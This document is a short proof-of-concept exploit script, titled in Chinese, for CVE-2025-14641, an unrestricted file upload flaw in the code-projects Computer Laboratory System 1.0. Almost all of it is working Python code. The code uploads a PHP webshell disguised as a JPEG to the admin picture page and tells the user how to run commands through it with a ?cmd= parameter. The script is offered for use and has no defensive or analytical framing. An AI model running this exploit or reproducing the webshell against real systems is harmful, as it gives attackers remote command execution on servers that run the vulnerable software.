CVE-2025-14641 code-projects Computer Laboratory System 1.0 未授权文件上传漏洞

import requests import sys # CVE-2025-14641 PoC - Unrestricted File Upload in Computer Laboratory System 1.0 # Target: admin/admin_pic.php def exploit(target_url, session_cookie): """ Exploit for CVE-2025-14641 Uploads a PHP webshell to achieve RCE """ upload_url = f"{target_url}/admin/admin_pic.php" # PHP webshell payload webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" files = { 'image': ('shell.php', webshell, 'image/jpeg') } cookies = { 'PHPSESSID': session_cookie } try: response = requests.post(upload_url, files=files, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] File upload request sent successfully") print("[*] Check if shell was uploaded to /admin/uploads/ or similar path") print("[*] Access uploaded file with ?cmd=whoami to execute commands") else: print("[-] Upload failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <session_cookie>") print("Example: python cve-2025-14641.py http://target.com 'abc123...'") sys.exit(1) exploit(sys.argv[1], sys.argv[2])